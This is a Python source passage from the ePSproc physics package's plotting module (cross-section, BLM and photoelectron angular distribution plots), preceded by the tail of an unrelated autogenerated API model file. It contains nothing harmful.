self.event_timestamp = event_timestamp
self.rating = rating
class PathsLi5TynApiV1LogConversationPostRequestbodyContentApplicationJsonSchema(_serialization.Model):
"""PathsLi5TynApiV1LogConversationPostRequestbodyContentApplicationJsonSchema.
:ivar conversation:
:vartype conversation: ~context_api.models.Conversation
"""
_attribute_map = {
"conversation": {"key": "conversation", "type": "Conversation"},
}
def __init__(self, *, conversation: Optional["_models.Conversation"] = None, **kwargs: Any) -> None:
"""
:keyword conversation:
:paramtype conversation: ~context_api.models.Conversation
"""
super().__init__(**kwargs)
self.conversation = conversation
class PathsRai0VpApiV1LogConversationUpsertPostRequestbodyContentApplicationJsonSchema(_serialization.Model):
"""PathsRai0VpApiV1LogConversationUpsertPostRequestbodyContentApplicationJsonSchema.
:ivar conversation:
:vartype conversation: ~context_api.models.Conversation
"""
_attribute_map = {
"conversation": {"key": "conversation", "type": "Conversation"},
}
def __init__(self, *, conversation: Optional["_models.Conversation"] = None, **kwargs: Any) -> None:
"""
:keyword conversation:
:paramtype conversation: ~context_api.models.Conversation
"""
super().__init__(**kwargs)
self.conversation = conversation
|
PypiClean
|
/ePSproc-1.3.1.tar.gz/ePSproc-1.3.1/epsproc/classes/_plotters.py
|
from matplotlib import pyplot as plt # For plot legends with Xarray plotter
import numpy as np # Needed only for np.nan at the moment
from epsproc import matEleSelector, plotTypeSelector, multiDimXrToPD, mfpad, sphSumPlotX, sphFromBLMPlot
from epsproc import lmPlot as lmPlotCore # Hack rename here to prevent circular logic with local function - TODO: fix with core fn. reorg.
from epsproc.plot import hvPlotters
from epsproc.util.env import isnotebook
# Import HV into local namespace if hvPlotters successful (can't access directly)
if hvPlotters.hvFlag:
hv = hvPlotters.hv
# ************** Plotters
def plotGetCro(self, pType = 'SIGMA', Erange = None, Etype = 'Eke', selDims = None, keys = None, backend = 'mpl'):
"""
Basic GetCro (cross-section) data plotting for multijob class. Run self.plot.line(x=Etype, col='Type') for each dataset.
(See :py:func:`epsproc.classes.ePSmultiJob.plotGetCroComp()` for comparitive plots over datasets.)
Note this is for LF averaged parameters, for more details see the `ePS starter notes <https://epsproc.readthedocs.io/en/latest/ePS_ePSproc_tutorial/ePS_tutorial_080520.html#Results>`_ for more details.
Parameters
----------
pType : str, optional, default = 'SIGMA'
Set data for plotting, either 'SIGMA' (cross-section) or 'BETA' (B2 parameter).
If backend = 'hv' this parameter is not used.
Erange : list of int or float, optional, default = None
Set plot range [Emin, Emax]. Defaults to full data range if not set
Etype : str, optional, default = 'Eke'
Set plot dimension, either 'Eke' (electron kinetic energy) or 'Ehv' (photon energy).
selDims : str, optional, default = None
Subselect dims, as a dictionary.
E.g. to select a specific continuum symmetry set selDims = {'Cont':'Ag'}
keys : list, optional, default = None
Keys for datasets to plot.
If None, all datasets will be plotted.
backend : str, optional, default = 'mpl'
Set plotter to use.
- 'mpl' : Use Matplotlib/native Xarray plotter
- 'hv' : use Holoviews via :py:func:`epsproc.plotters.hvPlotters.XCplot()`
"""
# # Default to all datasets
# if keys is None:
# keys = self.data.keys()
keys = self._keysCheck(keys)
# if self.jobs['jobStructure'] == 'subDirs':
for key in keys:
# testClass.dataSets[key]['XS'][0].sel(XC='SIGMA', Eke=slice(Erange[0], Erange[1])).plot.line(x='Eke', col='Type') # This works
# for m, item in enumerate(self.data[key]['XS']):
# Set default to full range, same for all cases
if Erange is None:
Erange = [self.data[key]['XS'][Etype].min().data, self.data[key]['XS'][Etype].max().data]
subset = self.data[key]['XS'].sel(selDims) # SelDims here - uses dictionary as passed, OK for None too.
jobLabel = self.data[key]['XS'].jobLabel
# More elegant way to swap on dims?
if Etype == 'Ehv':
# Subset before plot to avoid errors on empty array selection!
subset = subset.swap_dims({'Eke':'Ehv'}) #.sel(**{Etype:slice(Erange[0], Erange[1])}) # With dict unpacking for var as keyword
# if subset.any():
# subset.plot.line(x=Etype, col='Type')
subset = subset.sel(**{Etype:slice(Erange[0], Erange[1])}) # With dict unpacking for var as keyword
if subset.any():
# Propagate attrs for plot labelling
subset.attrs = self.data[key]['XS'].attrs
if backend == 'mpl':
subset.sel(XC=pType).plot.line(x=Etype, col='Type')
if pType == 'SIGMA':
plt.ylabel('XS/Mb')
else:
plt.ylabel(r"$\beta_{LM}$")
# plt.ylim([-1.5, 2.5])
if backend == 'hv':
layout, *_ = hvPlotters.XCplot(subset, kdims = Etype)
print(f"\n*** {jobLabel}")
# Check if notebook and output
if isnotebook():
display(layout) # Use IPython display(), works nicely for notebook output
# Q: is display() always loaded automatically? I think so.
else:
layout # Not yet tested - not sure what the options are here for hv/Bokeh.
# May just want to return this object (hv layout)?
# Setting title here doesn't work, now set in XCplot()
# display(layout.opts(title=jobLabel))
# else:
# Basically as per plotGetCro, but subselect and put on single plot.
# Should do all of this with Holoviews...!
def plotGetCroComp(self, pType='SIGMA', pGauge='L', pSym=('All','All'), Erange = None, Etype = 'Eke', Eshift = None, keys = None, backend = 'mpl', returnHandles = False):
"""
Basic GetCro (cross-section) data plotting for multijob class, comparitive plots.
Run self.plot.line(x=Etype) for each dataset after subselection on Gauge and Symmetry, and use single axis.
(See :py:func:`epsproc.classes.ePSmultiJob.plotGetCro()` for plots per dataset.)
Note this is for LF averaged parameters, for more details see the `ePS starter notes <https://epsproc.readthedocs.io/en/latest/ePS_ePSproc_tutorial/ePS_tutorial_080520.html#Results>`_ for more details.
Parameters
----------
pType : str, optional, default = 'SIGMA'
Set data for plotting, either 'SIGMA' (cross-section) or 'BETA' (B2 parameter).
pGauge : str, optional, default = 'L'
Set gauge, either 'L' (Length), 'V' (Velocity) or 'M' (Mixed)
pSym : tuple of strs, optional, default = ('All','All')
Select symmetry, (Cont, Targ).
Default value will plot all allowed symmetries.
Erange : list of int or float, optional, default = None
Set plot range [Emin, Emax]. Defaults to full data range if not set
Etype : str, optional, default = 'Eke'
Set plot dimension, either 'Eke' (electron kinetic energy) or 'Ehv' (photon energy).
Eshift : int or float, optional, default = None
Apply energy shift to results if set.
keys : list, optional, default = None
Keys for datasets to plot.
If None, all datasets will be plotted.
backend : str, optional, default = 'mpl'
Set plotter to use.
- 'mpl' : Use Matplotlib/native Xarray plotter
- 'hv' : use Holoviews via :py:func:`epsproc.plotters.hvPlotters.XCplot()`
returnHandles : bool, optional, default = False
If true, return plot object and legend test list.
NOTE: added backend options 27/10/20. CURRENTLY NOT WORKING for hv, due to data structure assumed in `hvPlotters.XCplot()`
UPDATE 06/04/21: looking at this again, subselect on XC is one issue (can be fixed as per code plotGetCro()), but likely want to write this very differently for comparison case.
"""
# Comparison plots over orbs
# from matplotlib import pyplot as plt # For legend
lText = []
# # Default to all datasets
# if keys is None:
# keys = self.data.keys()
keys = self._keysCheck(keys)
for key in keys:
# testClass.dataSets[key]['XS'][0].sel(XC='SIGMA', Eke=slice(Erange[0], Erange[1])).plot.line(x='Eke', col='Type') # This works
# for m, item in enumerate(self.data[key]['XS']):
# Set default to full range, same for all cases
if Erange is None:
Erange = [self.data[key]['XS'][Etype].min().data, self.data[key]['XS'][Etype].max().data]
# More elegant way to swap on dims?
if Etype == 'Ehv':
# Subset before plot to avoid errors on empty array selection!
subset = self.data[key]['XS'].swap_dims({'Eke':'Ehv'}).sel(XC=pType, Type=pGauge, Sym=pSym, **{Etype:slice(Erange[0], Erange[1])}) # With dict unpacking for var as keyword
# if subset.any():
# pltObj = subset.plot.line(x=Etype)
else:
subset = self.data[key]['XS'].sel(XC=pType, Type=pGauge, Sym=pSym, **{Etype:slice(Erange[0], Erange[1])}) # With dict unpacking for var as keyword
if subset.any():
lText.append(self.data[key]['jobNotes']['orbLabel'])
# This is currently a bit dodgy, overwriting original data with in place update?
# TODO: fix and test!
if Eshift is not None:
subset[Etype] += Eshift
# Basic plot with Xarray
# pltObj = subset.plot.line(x=Etype)
# lText.append(self.data[key]['jobNotes']['orbLabel'])
# Version with mpl or hv (crude - basically from XC plot above.)
if backend == 'mpl':
pltObj = subset.plot.line(x=Etype)
# pltObj = subset.sel(XC=pType).plot.line(x=Etype)
# if pType == 'SIGMA':
# plt.ylabel('XS/Mb')
# else:
# plt.ylabel(r"$\beta_{LM}$")
# NOTE: added backend options 27/10/20. CURRENTLY NOT WORKING for hv, due to data structure assumed in `hvPlotters.XCplot()`
# TODO: change formatting to use XCplot and/or set up new subfunction.
if backend == 'hv':
pltObj, *_ = hvPlotters.XCplot(subset, kdims = Etype)
print(f"\n*** {jobLabel}")
# Check if notebook and output
if isnotebook():
display(pltObj) # Use IPython display(), works nicely for notebook output
# Q: is display() always loaded automatically? I think so.
else:
pltObj # Not yet tested - not sure what the options are here for hv/Bokeh.
# May just want to return this object (hv layout)?
# Label with orb_sym
# lText.append(self.dataSets[key]['XS'][m].attrs['fileBase'].rsplit('/',maxsplit=1)[0])
# lText.append(f"Orb {self.dataSets[key]['XS'][m].attrs['orbInfo']['orbN']} ({self.dataSets[key]['XS'][m].attrs['orbInfo']['orbSym'][0]})")
# lText.append(self.dataSets[key]['jobNotes'][m]['orbLabel'])
# Update legend etc.
if backend == 'mpl':
plt.legend(lText)
if pType == 'SIGMA':
plt.ylabel('XS/Mb')
else:
plt.ylabel(r"$\beta_{LM}$")
# plt.ylim([-1.5, 2.5])
if returnHandles:
return pltObj, lText
def lmPlot(self, Erange = None, Etype = 'Eke', dataType = 'matE', xDim = None, keys = None, refDataKey = None, reindexTol = 0.5, reindexFill = np.nan, setPD = True, **kwargs):
"""
Wrapper for :py:func:`epsproc.lmPlot` for multijob class. Runs lmPlot() for each dataset.
Parameters
----------
Erange : list of int or float, optional, default = None
Set plot range [Emin, Emax]. Defaults to full data range if not set.
Etype : str, optional, default = 'Eke'
Set plot dimension, either 'Eke' (electron kinetic energy) or 'Ehv' (photon energy).
dataType : str, optional, default = 'matE'
Set data type to plot, corresponding to label in self.data
- 'matE' raw matrix elements.
- 'AFBLM' computed AF BLMs.
xDim : str, optional, default = None
Settings for x-axis, if None plot vs. Etype.
See :py:func:`epsproc.lmPlot` for more details.
keys : list, optional, default = None
Keys for datasets to plot.
If None, all datasets will be plotted.
refDataKey : str or int, optional, default = None
If set, calculate difference plots against reference dataset.
This must be a key in self.data.
TODO: implement difference plots.
TODO: implement testing logic, may fail without E-axis forcing, and sym summation?
reindexTol : float, optional, default = 0.1
If computing difference data, the reference data is reindexed to ensure E grid matching.
This specifies tolerance (in E units, usually eV) for reindexing.
If this fails, difference plot may be null.
reindexFill : int or float, optional, default = NaN
Value to use for missing values upon reindexing.
Default matches [Xarray.reindex default](http://xarray.pydata.org/en/stable/generated/xarray.DataArray.reindex.html), i.e. NaN, but this may give issues in some cases.
setPD : bool, optional, default = True
Set Pandas array in main dataset?
kwargs : dict, optional, default = {}
Plotting options to pass to :py:func:`epsproc.lmPlot`.
These will also be set in self.lmPlotOpts for further use.
Note that any existing options in self.lmPlotOpts will also be used, or overwritten if matching keys are found.
Notes
-----
Basic scheme from ePSmultijob.plotGetCro, which loops and switches on Eke/Ehv. Should tidy up at some point.
"""
# Set xDim if not passed.
if xDim is None:
xDim = Etype
# # Default to all datasets
# if keys is None:
# keys = list(self.data.keys())
keys = self._keysCheck(keys)
# Set lmPlotOpts
# Check passed args vs. self.lmPlotOpts and overwrite
if kwargs:
for key, value in kwargs.items():
self.lmPlotOpts[key] = value
# Check Etype exists, it may not for some data types.
# if not Etype in self.data[keys[0]].keys():
if not Etype in list(self.data[keys[0]][dataType].coords):
Etype = None
# Set default to full range of 1st dataset, keep same for all cases
# TODO: set per dataset?
if (Erange is None) and Etype:
Erange = [self.data[keys[0]][dataType][Etype].min().data, self.data[keys[0]][dataType][Etype].max().data]
# Set ref dataset if required
if refDataKey is not None:
refData = self.data[refDataKey][dataType]
if Etype == 'Ehv':
refData = refData.swap_dims({'Eke':'Ehv'})
if Etype:
refData = refData.sel(**{Etype:slice(Erange[0], Erange[1])}) # Case for slicing on Etype
refData.attrs = self.data[refDataKey][dataType].attrs # Propagate atrrs.
else:
refData = None
# Loop over datasets
for key in keys:
# testClass.dataSets[key]['XS'][0].sel(XC='SIGMA', Eke=slice(Erange[0], Erange[1])).plot.line(x='Eke', col='Type') # This works
# Init empty list for daPlotpd data
# 21/10/20 - should only be single item per key in current data schema, so just set directly below
# if setPD:
# self.data[key]['daPlotpd'] = []
# for m, item in enumerate(self.data[key]['matE']):
# More elegant way to swap on dims?
if Etype == 'Ehv':
# Subset before plot to avoid errors on empty array selection!
subset = self.data[key][dataType].swap_dims({'Eke':'Ehv'}).sel(**{Etype:slice(Erange[0], Erange[1])}) # With dict unpacking for var as keyword
elif Etype == 'Eke':
subset = self.data[key][dataType].sel(**{Etype:slice(Erange[0], Erange[1])}) # With dict unpacking for var as keyword
else:
subset = self.data[key][dataType] # Case for no Etype dim.
# Difference data
# NOTE: ref. data is reindexed here to ensure E-point subtraction (otherwise mismatch will give null results)
# TODO: may want some selection logic here, this may produce empty results in many cases.
if refData is not None:
subset = subset - refData.reindex(**{Etype:subset[Etype]}, method='nearest', tolerance=reindexTol, fill_value=reindexFill)
subset.attrs = self.data[key][dataType].attrs # Propagate attribs
subset.attrs['jobLabel'] = f"{subset.attrs['jobLabel']} diff with {refData.attrs['jobLabel']}"
# Slightly crude check for empty result.
# Note this is different from subset.any() below, which only checks for 0
# See https://numpy.org/doc/stable/reference/generated/numpy.any.html
if subset.max().isnull():
print("*** Warning, difference array is Null. Try a larger reindexTol value.")
# Run lmPlot
if subset.any():
daPlot, daPlotpd, legendList, gFig = lmPlotCore(subset, xDim = xDim, **self.lmPlotOpts)
else:
daPlotpd = None
# Set Pandas table to dataset if specified.
# 21/10/20 - should only be single item per key in current data schema, so just set directly
if setPD:
# self.data[key]['daPlotpd'].append(daPlotpd) # Set to include None cases to keep indexing. Should set as dict instead?
self.data[key]['daPlotpd'] = daPlotpd
def ADMplot(self, dataType = 'ADM', xDim = 't', Etype='t', col = None, **kwargs):
"""
Wrap BLMplot() for ADMs. Thin wrapper with some ADM-specific defaults.
TODO: make this good.
"""
# Pass using locals()
# self.BLMplot(**locals()) # Almost neat, but needs logic to remove self and unpack kwargs
# Pass explicitly
self.BLMplot(dataType = dataType, xDim = xDim, Etype = Etype, col = col, **kwargs)
def BLMplot(self, Erange = None, Etype = 'Eke', dataType = 'AFBLM',
xDim = None, selDims = None, col = 'Labels', row = None,
thres = None, keys = None, verbose = None,
backend = 'xr', overlay = None,
**kwargs):
"""
Basic BLM line plots using Xarray plotter.
See https://epsproc.readthedocs.io/en/latest/methods/geometric_method_dev_pt3_AFBLM_090620_010920_dev_bk100920.html
Similar to :py:func:`epsproc.BLMplot`, may change to simple wrapper, but some differenences in terms of dim handling here.
For more flexibility, use `self.lmPlot`.
TODO: update BLMplot to support more datatypes, and implement here instead.
TODO: fix dim handling and subselection, see old plotting code.
24/11/21: quick additions, override printing with "verbose", and added backend option for XR or Holoviews plotters.
Note this currently uses hvplot functionality, see https://hvplot.holoviz.org/user_guide/Gridded_Data.html.
UPDATE: currently not working due to unhandled dims at Holomap stack - see tmo-dev for method.
05/06/21: added **kwargs pass to Xarray line plot
03/02/21: added col, row arguments for flexibility on calling. Still needs automated dim handling.
"""
# Set xDim if not passed.
if xDim is None:
xDim = Etype
if verbose is None:
verbose = self.verbose
# # Default to all datasets
# if keys is None:
# keys = list(self.data.keys())
keys = self._keysCheck(keys)
# Set default to full range of 1st dataset, keep same for all cases
# TODO: set per dataset? Now in subset fn.
# if Erange is None:
# Erange = [self.data[keys[0]][dataType][Etype].min().data, self.data[keys[0]][dataType][Etype].max().data]
# Loop over datasets
plotList = {} # For HV plot stacking
for key in keys:
# testClass.dataSets[key]['XS'][0].sel(XC='SIGMA', Eke=slice(Erange[0], Erange[1])).plot.line(x='Eke', col='Type') # This works
# for m, item in enumerate(self.data[key]['matE']):
# # More elegant way to swap on dims?
# if Etype == 'Ehv':
# # Subset before plot to avoid errors on empty array selection!
# subset = self.data[key][dataType].swap_dims({'Eke':'Ehv'}).sel(**{Etype:slice(Erange[0], Erange[1])}) # With dict unpacking for var as keyword
#
# else:
# subset = self.data[key][dataType].sel(**{Etype:slice(Erange[0], Erange[1])}) # With dict unpacking for var as keyword
subset = self.Esubset(key = key, dataType = dataType, Etype = Etype, Erange = Erange)
# Threshold results. Set to check along Eke dim, but may want to pass this as an option.
# Set squeeze to True also
subset = matEleSelector(subset, thres=thres, inds = selDims, dims = Etype, sq = True)
if subset.any():
# THIS IS SHIT
# if hasattr(subset, 'XSrescaled'):
# # print(f"Dataset: {key}, {self.data[key]['jobNotes']['orbLabel']}, XS")
# # list(set(subset.dims) - {row} - {col})
# rowXS = row
# colXS = col
# if 'BLM' in row:
# rowXS = None
# if 'BLM' in col:
# colXS = None
# subset.XSrescaled.real.plot(x=Etype, col=colXS, row=rowXS) # UGH THESE DIMENSION ARE NOT THE SAME OF COURSE SO WILL POTENTIALLY BREAK. SHITTY CODE AGAIN.
# # plt.title(f"Dataset: {key}, {self.data[key]['jobNotes']['orbLabel']}, XS")
if verbose:
try:
print(f"Dataset: {key}, {self.data[key]['jobNotes']['orbLabel']}, {dataType}")
except KeyError:
print(f"Dataset: {key}, {dataType}")
if backend == 'xr':
# TODO: add some logic here, sort or switch on flag or number of dims?
# subset.real.plot(x=Etype, col='Labels', row='BLM') # Nice... should give line plots or surfaces depending on dims
# subset.where(subset.l>0).real.plot.line(x=Etype, col=col, row=row) # Set to line plot here to stack BLMs, also force l>0 - THIS SUCKS, get an empty B00 panel.
subset.real.plot.line(x=Etype, col=col, row=row, **kwargs)
# plt.title(f"Dataset: {key}, {self.data[key]['jobNotes']['orbLabel']}, {dataType}")
# VERY ROUGH, based on not great tmo-dev code.
# Currently no explicit dim handling, and auto-rename to ensure working Holomap output.
# TODO: update/replace with routines in basicPlotters.BLMplot(), see also hvPlotters.curvePlot()
elif backend == 'hv':
try:
# plotList[key] = (subset.real.hvplot.line(x=Etype, col=col, row=row, **kwargs))
hvDS = hv.Dataset(subset.real.rename(str(key))) # Convert to hv.Dataset, may need to rename too.
# hvDS = hv.Dataset(subset.real.rename('AFBLM'))
plotList[key] = hvDS.to(hv.Curve, kdims=Etype) # TODO: add dim handling, will just autostack currently.
# plotList[key] = hvPlotters.curvePlot(dataXR, kdims = Etype, returnPlot = True, renderPlot = False, **kwargs) # Curve plot version - needs better dim handling too!
except NotImplementedError as e:
# if e.msg == "isna is not defined for MultiIndex":
if e.args[0] == "isna is not defined for MultiIndex": # Message as first arg - may be version specific?
print("Unstacking data for plotting")
# plotList[key] = (subset.real.unstack().hvplot.line(x=Etype, col=col, row=row, **kwargs)) # Should be OK for individual plots, but can't pass to holomap?
hvDS = hv.Dataset(subset.real.unstack().rename(str(key))) # Convert to hv.Dataset, may need to rename too.
# hvDS = hv.Dataset(subset.real.unstack().rename('AFBLM')) # Convert to hv.Dataset, may need to rename too.
plotList[key] = hvDS.to(hv.Curve, kdims=Etype) # TODO: add dim handling, will just autostack currently.
else:
print(f"Caught unhandelable exception {e}")
if backend == 'hv':
# Code from showPlot()
hvMap = hv.HoloMap(plotList) # May need to handle dims here?
if self.__notebook__ and (backend == 'hv'):
if overlay is None:
display(hvMap) # If notebook, use display to push plot.
else:
display(hvMap.overlay(overlay))
# # Plot PADs from mat elements (MF) or BLMs
# def padPlot(self, selDims = {}, sumDims = {}, Erange = None, Etype = 'Eke',
# keys = None, dataType = 'TX',
# pType = 'a', pStyle = 'polar', plotFlagGlobal = True,
# backend = 'mpl'):
#
# """
# Plot PADs from mat elements (MF) or BLMs.
# """
#
# # # Default to all datasets
# # if keys is None:
# # keys = self.data.keys()
# # else:
# # if not isinstance(keys, list): # Force list if single item passed
# # keys = [keys]
# keys = self._keysCheck(keys)
#
# # Loop over datasets
# for key in keys:
# # for m, item in enumerate(self.dataSets[key]['TX']):
# plotFlag = True
#
# # # More elegant way to swap on dims?
# # subset = self.data[key][dataType]
# #
# # if Etype == 'Ehv':
# # # Subset before plot to avoid errors on empty array selection!
# # subset = subset.swap_dims({'Eke':'Ehv'})
# #
# # # Slice on Erange with/without step size - bit ugly.
# # if Erange is not None:
# # if len(Erange) == 3:
# # subset = subset.sel(**{Etype:slice(Erange[0], Erange[1], Erange[2])}) # With dict unpacking for var as keyword
# # else:
# # subset = subset.sel(**{Etype:slice(Erange[0], Erange[1])})
# subset = self.Esubset(key = key, dataType = dataType, Erange = Erange, Etype = Etype)
#
# # Handling for Euler or Labels dim
# eDim = 'Euler'
# if hasattr(subset, 'Labels'):
# # if 'Labels' in selDims:
# if eDim in subset.dims:
# subset = subset.swap_dims({'Euler':'Labels'})
#
# eDim = 'Labels'
#
# # if selDims is not None: # Now set as empty dict to avoid issues later.
# # TODO: smarter dim handling here - selDims may not be consistent over all dataSets!
# if selDims:
# subset = subset.sel(selDims)
#
#
# # Compute PADs if not already present in dataset
# # TODO: more careful type checking here, should have general dist case?
# # 16/01/21 moved up to allow for dim checking for grid case - BUT THIS IS SHIT CODE, LOTs of this already in sph plot fns.
# if dataType not in ["TX", "wigner"]:
# subset, _ = sphFromBLMPlot(subset, plotFlag = False)
# subset = subset.sum('LM')
#
#
# if self.verbose['main']>2:
# print(subset.dims)
#
# # Check dimensionality - sum over Sym & it if necessary
# if (subset.ndim > 3): # Need some additional dim logic here!
# print(f"Found dims {subset.dims}, summing to reduce for plot. Pass selDims to avoid.")
# if 'Sym' in subset.dims:
# subset = subset.sum('Sym').squeeze()
# if 'it' in subset.dims:
# subset = subset.sum('it').squeeze()
#
# # Check result is OK
# # TODO: check for specific dims here
# if (subset.ndim > 3): # and not (eDim in subset.dims):
# # Try squeezing in case of singleton dims
# subset = subset.squeeze()
#
# # Define non-parseable case - should make this more general.
# # This also isn't correct for handling BLM vs. gridded data types.
# testDims = list(set(subset.dims) - set(eDim))
# if self.verbose['main']>2:
# print(testDims)
#
# if (len(testDims) > 3):
# print(f"*** ERROR: dataset {self.data[key][dataType].jobLabel} ndims = {subset.ndim}, dims = {subset.dims}. Skipping MFPAD plotting.")
# plotFlag = False
#
# # else:
# # pass
#
# # Propagate attrs
# subset.attrs = self.data[key][dataType].attrs
# #
# # # Compute PADs if not already present in dataset
# # # TODO: more careful type checking here, should have general dist case?
# # if dataType not in ["TX", "wigner"]:
# # subset, _ = sphFromBLMPlot(subset, plotFlag = False)
#
#
# # Plot
# if plotFlag and plotFlagGlobal:
# if eDim in subset.dims:
# # TODO: make this more robust. Currently assumes Euler dim is 1st dim.
# if subset[eDim].size > 1:
# if pStyle is 'polar':
# for EulerInd in range(0,subset[eDim].size):
# # print(f"*** Pol Geom: {subset[eDim][EulerInd].item()}") # Need to pass all this through to plotters otherwise appears before plots!
#
# # Set full title string here to pass to plotter.
# # tString = f"{eDim}: {subset[eDim][EulerInd].item()}"
# tString = f"Pol geom: {subset[eDim][EulerInd].item()}, ploType: {pType}"
#
# _ = sphSumPlotX(subset[EulerInd], pType = pType, backend = backend, facetDim = Etype, titleString = tString)
#
# elif pStyle is 'grid':
# print(f"Grid plot: {subset.attrs['jobLabel']}, dataType: {dataType}, plotType: {pType}")
#
# # Set data
# subset = plotTypeSelector(subset, pType = pType, axisUW = Etype)
#
# if self.verbose['main']>2:
# print(subset)
#
# # If Phi is sliced, assumed 2D (Theta,E) plots
# # NOTE - force real datatype here, otherwise get errors from complex residuals.
# # TODO: why is this (after abs pType selection?) Should error check & clean up - this could cause issues sometimes...
# if 'Phi' in selDims.keys():
# # print(subset)
# # subset.pipe(np.abs).plot(x='Theta', y=Etype, col=eDim, robust=True)
# subset.plot(x='Theta', y=Etype, col=eDim, robust=True)
# else:
# # subset.pipe(np.abs).plot(y='Theta',x='Phi', row=eDim, col=Etype, robust=True)
# subset.plot(y='Theta',x='Phi', row=eDim, col=Etype, robust=True)
#
# # plt.title(subset.attrs['jobLabel'])
#
# else:
# # 15/01/21: developing/debugging here - this case seems to be called even with data WITH EULERs? Why?
# # tString = f"Pol geom: {subset[eDim][EulerInd].item()}, ploType: {pType}"
# tString = 'No Euler test'
#
# if pStyle is 'polar':
# _ = sphSumPlotX(subset, pType = pType, backend = backend, facetDim = Etype, titleString = tString)
#
# elif pStyle is 'grid':
# # Autoset dims from non (Theta,Phi) Dims
# rowDim = list(set(subset.dims) - set(('Theta','Phi',Etype)))
#
# # Set data
# subset = plotTypeSelector(subset, pType = pType, axisUW = Etype)
#
# if len(rowDim) > 1:
# print(f"*** ERROR: gridplot skipped for {self.data[key][dataType].jobLabel}, rowDims = {rowDim} too many dims.")
#
# elif len(rowDim) == 1:
# print(f"Grid plot: {self.data[key][dataType].attrs['jobLabel']}, dataType: {dataType}, plotType: {pType}, dims ({rowDim}, {Etype})")
# subset.plot(y='Theta',x='Phi', row=rowDim, col=Etype, robust=True)
#
# else:
# print(f"Grid plot: {self.data[key][dataType].attrs['jobLabel']}, dataType: {dataType}, plotType: {pType}, dims ({Etype})")
# subset.plot(y='Theta',x='Phi', col=Etype, robust=True)
#
# # Return data for further use
# if not plotFlagGlobal:
# return subset
# padPlot v2, rewritten 19/01/21
# This has better dim handling, and simpler logic, but still needs some work.
def padPlot(self, selDims = {}, sumDims = {'Sym','it'}, Erange = None, Etype = 'Eke',
keys = None, dataType = 'TX', facetDims = None, squeeze = False, reducePhi = None,
pType = 'a', pStyle = 'polar', returnFlag = False, plotDict = 'plots',
backend = 'mpl'):
"""
Plot I(theta,phi) data from BLMs or gridded datasets.
reducePhi : optional, default = None
This allow phi selection or summation for parameters which required Ylm expansion before plotting.
Pass 'sum' to sum over phi before plotting.
Pass a value to select.
TODO: fix dim handling for pl case, need to pass facetDim != None.
TODO: return plot objects. Probably to self.data[key][pStyle], or as dictionary of plots per run with data? (Cf. PEMtk plotters.)
23/04/22: added plot data and object returns to self.data[key][plotDict][pStyle]
"""
# Default to all datasets
keys = self._keysCheck(keys)
# Default facetDims, (Eulers, Eke)
# Should test these? YES - it's done later, per key.
if facetDims is None:
facetDims = ['Labels', Etype]
if len(facetDims) == 1:
facetDims.append(None)
if len(facetDims) > 2:
print(f"Too many facetDims (max=2), using only {facetDims[0:2]}.")
# Loop over datasets
for key in keys:
# for m, item in enumerate(self.dataSets[key]['TX']):
plotFlag = True
# Set data & slice on E
subset = self.Esubset(key = key, dataType = dataType, Erange = Erange, Etype = Etype)
# Handling for Euler or Labels dim - UGLY
eDim = 'Euler'
if hasattr(subset, 'Labels'):
# if 'Labels' in selDims:
if eDim in subset.dims:
subset = subset.swap_dims({'Euler':'Labels'})
eDim = 'Labels'
# if selDims is not None: # Now set as empty dict to avoid issues later.
# TODO: smarter dim handling here - selDims may not be consistent over all dataSets!
if selDims:
subset = subset.sel(selDims)
# If theta and/or phi present, assume angular gridded data
# If not present, assumed LM parameters, and expand on grid
if not (('Theta' in subset.dims) or ('Phi' in subset.dims)):
subset, _ = sphFromBLMPlot(subset, plotFlag = False)
subset = subset.sum('LM')
if sumDims:
sumDimsCheck = set(subset.dims)&{*sumDims} # This checks sumDims are present, otherwise will throw an error.
print(f"Summing over dims: {sumDimsCheck}")
subset = subset.sum(sumDimsCheck)
if reducePhi:
if reducePhi == 'sum':
subset = subset.sum('Phi')
else:
subset = subset.sel({'Phi':reducePhi})
if squeeze:
subset = subset.squeeze()
#***** Check dims
# # Handling for Euler or Labels dim - UGLY... now moved above to allow for selDims in Xarray > 0.15 (treats non-dimensional coords differently)
# eDim = 'Euler'
# if hasattr(subset, 'Labels'):
# # if 'Labels' in selDims:
# if eDim in subset.dims:
# subset = subset.swap_dims({'Euler':'Labels'})
#
# eDim = 'Labels'
#
# plotDims = set(subset.dims) - set(facetDims)
# Check facetDims exist, otherwise may get groupby errors (may be cleaner to use try/except here?)
# NOTE this will still produce errors in some cases (0 dims matched)
facetDimsCheck = list(set(subset.dims)&{*facetDims})
if len(facetDimsCheck) == 0:
print(f'***Error: missing dims {facetDims}.')
elif len(facetDimsCheck) == 1:
facetDimsCheck.append(None)
extraDims = set(subset.dims) - {*facetDimsCheck,*sumDims} - {'Theta','Phi'} # Check for outstanding dims, this will return an empty set if all dims accounted for here
if extraDims:
print(f"Found additional dims {extraDims}, summing to reduce for plot. Pass selDims to avoid.")
for dim in extraDims:
subset = subset.sum(dim) #.squeeze()
# Ensure attrs propagated
subset.attrs = self.data[key][dataType].attrs
# GROUPBY AND PLOT? NOT SURE HOW BEST TO HANDLE MULTIPLE DIMS HERE? Can pass 1 facet dim to SPH plotter already.
# TODO: decide MAX 4D. Then reduce > groupby > facet to existing plotter.
# TODO: general way to handle more dims?
if pStyle == 'polar':
for groupLabel, item in subset.groupby(facetDimsCheck[0]):
# tString = f"Pol geom: {item.item()}, plotType: {pType}"
tString = f"{facetDimsCheck[0]}: {groupLabel}, plotType: {pType}"
pltObj = sphSumPlotX(item, pType = pType, backend = backend, facetDim = facetDimsCheck[1], titleString = tString)
# _ = sphSumPlotX(item, pType = pType, backend = backend, facetDim = facetDimsCheck[1], titleString = tString)
elif pStyle == 'grid':
if 'jobLabel' in subset.attrs.keys():
label = subset.attrs['jobLabel']
else:
label = (key,dataType)
print(f"Grid plot: {label}, dataType: {dataType}, plotType: {pType}")
# Set data
subset = plotTypeSelector(subset, pType = pType, axisUW = Etype)
try:
if reducePhi:
# subset.plot(x='Theta', y=Etype, col=eDim, robust=True)
# subset.plot(x='Theta', y=facetDimsCheck[0], col=facetDimsCheck[1], robust=True) # This might fail for only one facetDim
# This did work initially, but not later - dim ordering always goes to alphabetical with set selection above
pltObj = subset.plot(x='Theta', y=Etype, col=list({*facetDimsCheck}-{Etype})[0], robust=True) # Force E dim to y
else:
pltObj = subset.plot(y='Theta',x='Phi', row=facetDimsCheck[1], col=facetDimsCheck[0], robust=True) # This might fail for only one facetDim. DIM ORDERING NOT PRESERVED
except ValueError as e:
